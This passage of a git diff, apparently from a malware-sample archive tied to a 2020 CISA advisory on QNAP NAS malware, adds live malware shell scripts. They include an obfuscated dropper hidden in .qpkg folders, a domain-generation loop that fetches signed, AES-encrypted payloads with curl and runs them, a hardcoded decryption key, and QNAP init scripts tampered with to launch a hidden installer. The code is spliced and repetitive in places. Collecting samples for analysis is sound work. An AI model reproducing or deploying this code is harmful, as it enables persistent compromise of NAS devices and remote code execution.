-f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 new file mode 100644 index 0000000..91ebfd1 --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/5130282cdb4e371b5b9257e6c992fb7c11243b2511a6d4185eafc0faa0e0a3a6 @@ -0,0 +1,630 @@ +#!/bin/sh +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh +xdEIZP=${ChSqzKBSW}t${fndSX}r${RiADoEekYl} +CHQOUaEF=${mKukBzqlFWte}${RcAgv}'\'${CzwGKoExdSNb}${oqEoH}; ZdBaYuwO=${uSWVs}${wtxOLMzrX}${zUlDx}${CHQOUaEF}${hnTYzqNIR}${WEJkC}${kMhyJjnAFI}133; FALbYHfu=${VZmgi}${VEElEOlov}${eDUDq}${CHQOUaEF}${iBBKUXigc}${QSddu}${JpoASfGrvy}055; ivTDLYcJ=${oVdmD}${BoQprMhPn}${ooVsb}${CHQOUaEF}${CYldesVQs}${AZyIt}${FImBFvbeBf}134; $xdEIZP 'O)sjM{bTXIL'$ivTDLYcJ'xq"}h*ig%PckK;\nE#Qm'$ZdBaYuwO'n'"'"'=So+Uu(W BvCarF!]N|'$FALbYHfu'YztGw' '{qjLaI` +F)'$ZdBaYuwO'cYsu]#%'$FALbYHfu'e;fNGk\nmEhi"}A|lDHoZCd' << "cLgBgGVGUVG" | ${czsznolvy}s${oLDnn}h${RWzWuKOHEj} +>p)yDAmrqz+QO<{>=D!d/V&QOnok rU[uuffAdR%/QOEH%>t!tk!dVZ=H"tqd"y&QO}qEr kdv.xvQORFFSAxjlVHc-dZQO!K%>pKkstd$QOjKcUs AudN134#t=QeV|G*)ZdXrCTCVUMm`K(iN055aPECeCeCYNrJO{%=-)t'Z +kLsp]+Ge&"dqryIvQ|>Hu;p)yDAmrqz$Nt/"zC/ETcn+CrEjrQJUQcOQcQQQQMvKRMQE(FcQQQQMvKRMQ|zC('O1:f4!FcQQQQMvKRMQ|R +('O2:f12!FcQQQQMvKRMQhE%RK+(<'O3:fRfZ;fG!t0f9eLQ`Q0LQUQVRME+QFFQ>0f9e>0f9e>0f9e>0f9e>0f9e>0f9e>0f9e>0f9eQUQ&(<'JJQ=&Rj+Qx$E=Q/Q100QUUt0f9eLQ`Q0LQUQVRME+QFFQLUQj+EjQ<'Oq{D -D _#-Du A!tRfZ;fG0f9/x('CMeLQUQj+EjQfVQ<'jtRfZ;fG0f9/x('CMeLQUQ+ +zjQ0QFFQ+ERKch(=v%+CEEMQ&nEjQfETR1Qf"zCRr\QfT|RKQ<'KjxGd5QOn;Ht(|KUdTeQ>p)yDAmrqze$%#Z> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f 